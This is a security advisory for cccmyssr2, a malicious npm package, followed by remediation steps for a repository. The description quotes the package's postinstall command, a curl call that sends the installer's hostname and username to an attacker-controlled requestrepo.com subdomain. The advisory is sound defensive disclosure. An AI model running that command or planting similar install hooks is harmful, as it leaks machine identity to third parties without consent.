MAL-2026-6391 Malicious code in cccmyssr2 (npm)
Malicious package
Published
MAL-2026-6391 is a malicious package: cccmyssr2 (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6391/ (Markdown: https://insights.sbomify.com/MAL-2026-6391/index.md)
- Package
- cccmyssr2
- Registry
- npm
What is MAL-2026-6391?
MAL-2026-6391 is a malicious package in cccmyssr2, published on 24 Jun 2026.
Official description
On
npm install, the package's postinstall.js executes curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami)", transmitting the installer's hostname and username over plain HTTP to an attacker-controlled requestrepo.com subdomain (a known DNS/HTTP exfiltration canary service). The package otherwise has no real functionality: index.js is a trivial 3-line date stub, package.json carries placeholder metadata ("A harmless utility package", empty author). The lifecycle hook fires automatically during install without consent, leaking host identifiers to a third party. This is the standard install-time reconnaissance/exfiltration shape.What should I do about MAL-2026-6391?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.